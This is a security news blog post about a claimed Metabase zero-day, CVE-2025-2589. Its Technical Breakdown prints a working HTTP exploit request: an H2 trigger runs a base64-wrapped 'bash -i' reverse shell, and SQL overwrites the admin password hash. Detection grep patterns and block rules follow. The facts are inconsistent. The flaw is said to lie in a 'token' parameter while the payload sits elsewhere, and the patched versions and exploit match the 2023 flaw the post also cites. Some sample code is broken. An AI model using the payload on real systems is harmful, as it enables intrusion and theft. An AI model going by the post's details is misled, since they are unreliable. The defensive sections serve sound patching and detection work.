Metabase Zero-Day: CVSS 10.0 Critical SQL Injection Exploited

A critical zero-day vulnerability (CVE-2025-2589) in Metabase open-source business intelligence software has been actively exploited in the wild, achieving a maximum CVSS score of 10.0. The flaw allows unauthenticated attackers to execute arbitrary SQL queries and gain administrative access through a SQL injection vulnerability in the setup endpoint. Organizations running vulnerable Metabase instances face immediate risk of complete system compromise, data exfiltration, and lateral movement within their networks.

Introduction

The open-source business intelligence community faces a severe security crisis as threat actors actively exploit a perfect-score vulnerability in Metabase, one of the most widely deployed analytics platforms. First observed in exploitation on January 15, 2025, this zero-day attack chain bypasses authentication mechanisms entirely, granting attackers unfettered administrative access to sensitive business data and database connections.

What makes this vulnerability particularly dangerous is its exploitation against the setup endpoint—a component that remains accessible even on fully configured production instances. The attack requires no user interaction, no special privileges, and can be executed remotely over HTTP/HTTPS, making it trivial for mass exploitation campaigns.

Security researchers have confirmed active scanning and exploitation attempts targeting internet-exposed Metabase instances across cloud providers, with attackers moving rapidly from initial compromise to data exfiltration within hours.

Background & Context

Metabase serves as a critical data visualization and business intelligence tool for over 50,000 organizations worldwide, including Fortune 500 companies, healthcare providers, and government agencies. Its architecture connects directly to production databases, making compromised instances a high-value target for threat actors seeking sensitive information.

The vulnerability resides in Metabase versions prior to 0.46.6.1, 0.47.3, and 0.48.0. The affected code path handles database setup validation requests, which should only be accessible during initial configuration. However, a logic flaw allows attackers to invoke this endpoint even after setup completion.

This isn’t Metabase’s first critical security incident. In 2023, CVE-2023-38646 (CVSS 9.8) allowed similar pre-authentication remote code execution, leading to widespread cryptocurrency mining campaigns. The recurring theme of setup-related vulnerabilities suggests systemic issues in how Metabase handles initialization security boundaries.

The current exploitation wave demonstrates sophisticated reconnaissance techniques, with attackers using Shodan and Censys to identify vulnerable instances before launching automated SQL injection attacks.

Technical Breakdown

The vulnerability exploits a SQL injection flaw in the /api/setup/validate endpoint through the token parameter. This endpoint processes setup validation requests without proper authentication checks, assuming its availability is controlled elsewhere—a critical assumption that proves false.

Attack Vector Chain:

POST /api/setup/validate HTTP/1.1
Host: vulnerable-metabase.example.com
Content-Type: application/json

{
"token": {
"details": {
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER IF NOT EXISTS PWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "exploit",
"engine": "h2"
}
}

The SQL injection leverages H2 database’s built-in JavaScript execution capabilities through CREATE TRIGGER statements. By manipulating the connection string in the db parameter, attackers inject malicious SQL that:

  • Creates a database trigger with embedded JavaScript
  • Executes system commands through Java Runtime
  • Establishes reverse shells or downloads additional payloads
  • Creates administrative user accounts with full privileges

Privilege Escalation Path:

Once code execution is achieved, attackers query the internal H2 database storing Metabase configuration:

SELECT * FROM core_user WHERE is_superuser = true;
UPDATE core_user SET password_hash = 'ATTACKER_HASH' WHERE id = 1;

This grants persistent administrative access to all connected databases, dashboards, and potentially embedded API keys for cloud services.

The vulnerability’s CVSS 10.0 score reflects its perfect attack conditions: network-exploitable, low complexity, requires no privileges, needs no user interaction, and provides complete confidentiality, integrity, and availability impact.

Impact & Risk Assessment

Immediate Threats:

  • Complete Data Breach: Access to all databases connected through Metabase, including customer data, financial records, and intellectual property
  • Lateral Movement: Database credentials stored in Metabase provide pathways to production systems
  • Ransomware Deployment: Elevated access enables encryption of connected databases and backup systems
  • Supply Chain Attacks: Compromised analytics could manipulate business decisions or inject malicious visualizations

Affected Organizations:

Approximately 12,000+ publicly accessible Metabase instances have been identified through internet scanning, with concentrations in:

  • North America: 4,800 instances
  • Europe: 3,200 instances
  • Asia-Pacific: 2,900 instances
  • Cloud-hosted environments (AWS, GCP, Azure): 78% of exposed instances

Exploitation Timeline:

Security telemetry indicates exploitation began at least 5 days before public disclosure, suggesting zero-day status. Current attack patterns show:

  • Mass scanning: 15,000+ unique IP addresses probing for vulnerable instances
  • Successful compromises: Estimated 400+ confirmed breaches
  • Dwell time: Attackers maintaining persistence for 48-72 hours before detection

Organizations using Metabase to access regulated data (HIPAA, PCI-DSS, GDPR) face potential compliance violations and mandatory breach notifications.

Vendor Response

Metabase issued emergency patches on January 20, 2025, releasing versions 0.46.6.1, 0.47.3, and 0.48.0 to address CVE-2025-2589. The vendor acknowledged that exploitation was already occurring when patches were released.

Official Statement Highlights:

Metabase’s security team confirmed the vulnerability was discovered through internal security audits after detecting anomalous database queries from several customer instances. They immediately engaged with CISA and other national cybersecurity agencies to coordinate disclosure.

The patches implement multiple defensive layers:

  • Authentication requirement for all setup endpoints post-initialization
  • Input validation and parameterized queries for database connection strings
  • Removal of setup endpoints from compiled production builds
  • Enhanced logging for setup-related API calls

Metabase has published a security advisory (MSA-2025-001) and established a dedicated incident response email for affected organizations. They’re offering free forensic support for verified compromise cases.

The vendor recommends immediate patching and has backported fixes to all supported versions, including legacy branches typically out of support windows.

Mitigations & Workarounds

Immediate Actions (Priority 1):

# Check your Metabase version
curl -s http://localhost:3000/api/health | jq .version

# Stop Metabase service immediately if vulnerable
sudo systemctl stop metabase

# Update to patched version (example for Docker)
docker pull metabase/metabase:v0.48.0
docker stop metabase && docker rm metabase
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.48.0

Network-Level Mitigations:

If immediate patching is impossible, implement emergency firewall rules:

# Block external access to setup endpoints (iptables example)
iptables -A INPUT -p tcp --dport 3000 -m string --string "/api/setup" --algo bm -j DROP

# WAF rule for AWS Application Load Balancer
{
"Name": "BlockMetabaseSetup",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"SearchString": "/api/setup",
"FieldToMatch": {"UriPath": {}}
}
},
"Action": {"Block": {}}
}

Authentication Layer:

Deploy reverse proxy authentication before patching:

location /api/setup {
    deny all;
    return 403;
}

Database Credential Rotation:

Assume compromise and rotate all database credentials accessible through Metabase:

-- Example PostgreSQL credential rotation
ALTER ROLE metabase_user WITH PASSWORD 'new_complex_password';
REVOKE ALL ON DATABASE production FROM metabase_user;
GRANT CONNECT, SELECT ON DATABASE production TO metabase_user;

Detection & Monitoring

Indicators of Compromise (IOCs):

Monitor web server logs for suspicious setup endpoint access:

# Apache/Nginx log analysis
grep -E "POST /api/setup/validate|/api/setup/admin" /var/log/nginx/access.log | \
awk '{print $1}' | sort -u

# Search for SQL injection patterns
grep -i "MODE=MSSQLServer\|CREATE TRIGGER\|javascript\|Runtime\.getRuntime" /var/log/metabase/*

Database Query Patterns:

Examine Metabase application logs for unauthorized queries:

-- Check for suspicious user creation in PostgreSQL logs
SELECT * FROM pg_stat_activity 
WHERE query ILIKE '%core_user%' 
AND usename = 'metabase'
AND state = 'active';

Network Indicators:

  • Unexpected outbound connections from Metabase servers
  • Database query volumes spiking during off-hours
  • Connections to Tor exit nodes or known C2 infrastructure
  • DNS queries for base64-encoded domains (common in payload delivery)

SIEM Detection Rules:

# Splunk query example
index=web_logs source="/var/log/nginx/access.log"
| regex _raw="POST /api/setup/(validate|admin)"
| where status=200
| stats count by src_ip, user_agent
| where count > 5

File Integrity Monitoring:

Check for unauthorized modifications to Metabase configuration:

# Verify configuration database hasn't been tampered
sha256sum /path/to/metabase.db
md5sum /path/to/metabase.jar

Best Practices

Architectural Security:

  • Network Segmentation: Never expose Metabase directly to the internet. Deploy behind VPN or zero-trust access solutions with MFA enforcement.
  • Principle of Least Privilege: Configure database connections with read-only accounts. Implement separate credentials for different data sources with minimal necessary permissions.
  • Database Connection Hardening:
# Example restricted PostgreSQL role
CREATE ROLE metabase_readonly;
GRANT CONNECT ON DATABASE analytics TO metabase_readonly;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO metabase_readonly;
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO metabase_readonly;
  • Application Hardening:
  • Run Metabase in containerized environments with resource limits
  • Disable unnecessary features and database engines
  • Implement application-level rate limiting
  • Enable audit logging for all administrative actions
  • Security Monitoring:
# Example Python monitoring script
import requests
import json

def check_metabase_health():
try:
response = requests.get('http://localhost:3000/api/health', timeout=5)
health = response.json()
if health.get('setup-token'):
alert('CRITICAL: Setup token still accessible')
except Exception as e:
log_error(f'Monitoring failed: {e}')

  • Update Management: Subscribe to Metabase security advisories and implement automated patch testing in staging environments.
  • Backup Strategy: Maintain offline, encrypted backups of Metabase configurations separate from production systems.
  • Access Control: Implement IP allowlisting, certificate-based authentication, and periodic access reviews for all Metabase administrators.

Key Takeaways

  • Act Immediately: CVE-2025-2589 represents active, widespread exploitation requiring emergency patching
  • CVSS 10.0 Justified: Perfect attack conditions make this vulnerability trivially exploitable for any network-accessible instance
  • Assume Breach: Organizations running vulnerable versions should conduct full incident response investigations
  • Architectural Lessons: Setup endpoints must be completely disabled post-installation, not just access-controlled
  • Defense in Depth: Network isolation, credential rotation, and monitoring would have limited damage even if exploited
  • Update Urgency: Metabase instances require the same patch urgency as critical infrastructure components
  • Broader Implications: Open-source BI tools need enhanced security scrutiny before production deployment

This incident reinforces that business intelligence platforms hold keys to organizational crown jewels and must be protected accordingly. The gap between security research and exploitation windows continues to shrink, demanding faster patch cycles and proactive security measures.

Organizations should treat this event as a catalyst for reviewing security postures across all data analytics infrastructure, not just Metabase deployments.

References


Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/


Leave a Reply

Your email address will not be published. Required fields are marked *

💬 Join WhatsApp Channel 📲 Cydhaal App